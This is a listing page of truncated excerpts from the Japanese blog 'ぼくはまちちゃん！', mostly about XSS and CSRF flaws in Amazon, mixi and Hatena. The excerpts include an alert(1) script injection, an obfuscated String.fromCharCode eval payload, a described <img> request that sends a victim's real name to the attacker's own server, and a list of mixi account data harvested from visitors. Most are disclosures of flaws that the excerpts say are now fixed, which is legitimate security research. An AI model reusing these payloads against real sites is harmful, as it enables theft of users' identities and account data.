XSS - 表示系パラメータに存在する盲点 :: ぼくはまちちゃん！
こんにちはこんにちは！！ クロスサイトスクリプティングの時間です！ XSSというと…！ まっさきに思いつくのが、入力データ送信 → 確認表示の部分での無害化漏れですよね！ たとえばこんな感じのフォームから受け取ったパラメータを、 確認として表示するページとか！ (入力) <form action="register.cgi" method="post"> タイトル：<input type="text" name="title"> ← 「ぼくはまちちゃん！」を入力 本文：<input type="text" name="body"> ← 「こんにちはこんにちは！！<script>alert(1)</script>」を入力 </form> (確認) <p>この内容で登録していい？</p> <p> タイトル： ぼくはまちちゃん！<br> 本文： こんにちはこんにちは！！<script>alert
本名吸い取り機 (AMAZON XSS) :: ぼくはまちちゃん！
↓これ 超おすすめマンガなんです！！！ うそだけど！ ( 修正がはいりました。もう動きません ) 取得後 alert のかわりに、自前で用意したサーバーに <img src="http://自前サーバー/?本名"> かなんかでリクエストするようにしといて、その後、適当な書籍にリダイレクトさせたりすれば…！ 本名吸い取り機のできあがり！ こわいね＞＜ リンクじゃなくて iframe とかにしちゃえば、へんなの踏ませる必要すらないよ！ (ちょっとだけ解説) ↓urlデコードするとこう http://www.amazon.co.jp/exec/obidos/tg/detail/-/<body onload=eval(String.fromCharCode(118, 97, 114, 32, 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 9
超mixi足あとちょうについて :: ぼくはまちちゃん！
こんにちはこんにちは！！ 現在の超mixi足あとちょうは、何度かのバージョンアップをして、以下のような内容になってますよ！ きみのMIXI ID： きみのpostkey： きみのメールアドレス： ※mixiの修正が4回入って、現在は非表示 きみのブラウザ： きみのホスト名： リンク元： (おまけ４) きみのYahoo ID： (おまけ５) きみのHatena ID： (おまけ２) きみのlivedoor ID： (おまけ６) きみのGoogleアカウント： (おまけ３) きみのなまえ(amazon)： (おまけ７) きみの好みのタイプ： (おまけ１) きみのクリップボードの中身 ところで、超mixi足あとちょうの追記にも書いたけれど、 「hamachiya.com を見にいかなければ大丈夫」で 思考停止するのって一番危険なんじゃないかな、と思うんだけど…！ ここをみている一部の方々は、たぶ
重くなったmixiホームを軽くしてみる :: ぼくはまちちゃん！
新しくなったmixi、 なんか上のメニューのところまでで表示がとまっちゃうよ！なんだこれ！ うわーこれ右の「ミクシィの輪を広げよう！」のバナーが悪いのか！ このバナー画像って ad.jp.doubleclick.net とかいうところから出してるし、 なんだか表示が超重いし、 おまけに性別とかを送信しちゃってる(?)みたいだし…＞＜ こういうのって、きっとプロクなんとかいうツールとか、 ファイヤーウォールみたいなやつで、なんとかできるんだろうね！ でも、そんなの難しそうで、ぼくにはわからない…！ …そこでだ！ ぼくでもなんとかできる、かんたんな方法をかんがえてみた！ 1. まずは以下のファイルをメモ帳でひらこうか！ C:\WINDOWS\System32\Drivers\Etc\hosts ※Win95/98は C:\Windows\hosts ※macは適当にぐぐってね…！ http:/
きみのサイトに被はてブ数 :: ぼくはまちちゃん！
はてなブックマークおもしろいよね！ ところで、ぼく、はてなブックマークで一番使うシンボル(?)って [B!] でも [↑B] でもなく [108 users] だと思うんだけど！ だから自分のサイトで users が表示できるやつをつくってみたよ！！ → ひてブ(js) v0.2 (ダウンロード) どんな感じかは、サンプルページをみてね！ つかいかたはこうだよ！ 1. まずは prototype.js をダウンロードして、自分のサイトに転送しておこうか！ 2. そしてさっきの hihate_v01.zip の中の nuluerer.cgi を、きみのサイト上に置いてパーミッションの設定だ！ chmod 755 nuluerer.cgi 3. つぎに使いたいページの <head> の中に以下のように記述してね！ <script type="text/javascript" src="prot
はてなダイアリーの隠し機能で楽々更新 :: ぼくはまちちゃん！
やっぱりダイアリーってくらいだから、まいにち綴りたいものですよね！！ だけど時間がなかったり、ネタがなかったりで なかなか日記が続かないとお悩みのあなたにこれ…！ ぼくはまちちゃん！(Hatena) - 日記を自動的に書いてくれる日記 ※IE系のブラウザ限定でしかうごきません。ごめんね＞＜ ※上のリンク先を見たら、自動的に日記とブックマークが一件づつ追加されちゃいます ※なので、見たあとは自分の日記とブックマークをよく確認してくださいね (参考url) 上のリンク先のブックマークコメント (追記) 動かなくなっちゃいました＞＜ → http://d.hatena.ne.jp/hatenadiary/20060204/1139066130
いろんなGoogle :: ぼくはまちちゃん！
なるほどそういうことか！ありがとう！！ ぼくも英辞郎でしらべてみたよ！ > Uncle Sam > アメリカ政府◆【語源】省略するとU.S.になるところから ってかいてあった！
マイミクが減ったことを知らせてくれるマイミク (テスト中) :: ぼくはまちちゃん！
[mmhメッセンジャー] http://mixi.jp/show_friend.pl?id=2263032 彼女は優しいから、誰でも受け入れてくれるはずだぜ。 しかも、たいていは5分もたたないうちに承認してくれるんだよ。 ちょっとネット中毒ぎみかもしれないな…！ だけど彼女ってスゴイんだぜ？ なんだか自分のマイミク全員のマイミクリストを常に把握してるらしく もし減っていたりしたら、 mixiのメッセージできみに知らせてくれるんだ…！ ちょっぴりストーカーの気があるかもしれないけど、 良い子だから、可愛がってやってくれよな！ …… 要するに mmh のマイミク版のようなものですよ！ 彼女のマイミクになっておくと、巡回対象となるので、 あとはなにもしなくても数時間おきに、彼女が巡回してくるよ！ (そのとき足あとは残らないと思う！) そして、きみのマイミク一覧を取得…、 さらに前回取得した、きみ
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
mixiのソースコードをゲットする方法 :: ぼくはまちちゃん！